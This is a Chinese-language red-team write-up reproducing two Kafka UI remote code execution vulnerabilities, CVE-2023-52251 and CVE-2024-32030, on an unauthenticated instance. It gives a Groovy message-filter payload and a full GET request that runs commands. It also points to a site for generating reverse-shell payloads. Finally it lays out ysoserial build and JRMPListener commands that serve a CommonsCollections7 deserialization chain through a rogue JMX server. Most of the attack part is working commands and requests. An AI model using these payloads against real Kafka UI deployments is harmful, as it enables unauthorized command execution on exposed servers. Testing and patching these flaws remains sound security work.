最近测试遇到个apache kafka UI未授权,直接进后台,找了找漏洞看看能不能RCE,毕竟RCE是每个红队人员的梦想。最终找到CVE-2023-52251, CVE-2024-32030这两个漏洞。
测试版本:v0.7.1
漏洞描述:消息过滤组件(message filtering component)中可以执行任意的groovy
脚本,并且获取到的shell没在沙箱中(unsandboxed)。
影响版本:0.4.0-0.7.1
漏洞具体的代码函数方法:
复现: Kafka UI用户页面,Cluster --> Topics --> Messages,然后创建一个新的过滤器。
new ProcessBuilder("touch","/tmp/pwnd.txt").start()
或者直接发GET请求也可以实现
GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091
反弹shell可以去https://www.revshells.com/ 直接生成groovy payload。
然后你需要发送一条消息到Kafka UI接口,以触发脚本执行。
/api/clusters/local/topics/{topic}/messages?q={payload}
https://github.com/BobTheShoplifter/CVE-2023-52251-POC
漏洞描述:大部分UI都是未授权进后台,UI API允许用户通过网络地址和端口连接到不通的kafka代理,作为一个单独的特性,它提供了通过kafka代理的JMX端口来监视其性能的功能(这个好像之前kafka的其他应用也存在这个问题),JMX 基于 RMI 协议,所以攻击者可以在后台设置 Kafka UI 连接到恶意的 JMX 服务器,从而进行jndi反序列化RCE利用。
前提: 1、需要dynamic.config.enabled
这个参数为true,默认是不开启的,但是需要教程都是提示你要开启这个参数,包括kafka自己的官方教程。 2、或者!用户管理员对其进行了kafka集群设置。
复现:
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
jndi就不用多说了,直接ysoserial生成一个载荷。监听在1718端口。
Kafka UI中,导航到控制台,设置一个新的集群(Dashboard->Configure New Cluster ),Bootstrap server设置IP,jmx地址为我们监听的1718端口。
当你添加完这个集群的时候,就可以在ysoserial工具中看到传入一个连接。
这一步的操作不是rce,而且将系统属性进行更改,system property org.apache.commons.collections.enableUnsafeSerialization
设置为true
,此时你的kafka UI日志会收到这个报错。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
使用cc7链子,生成载荷,执行创建文件的命令。此时看日志,rmi报错,并且执行命令。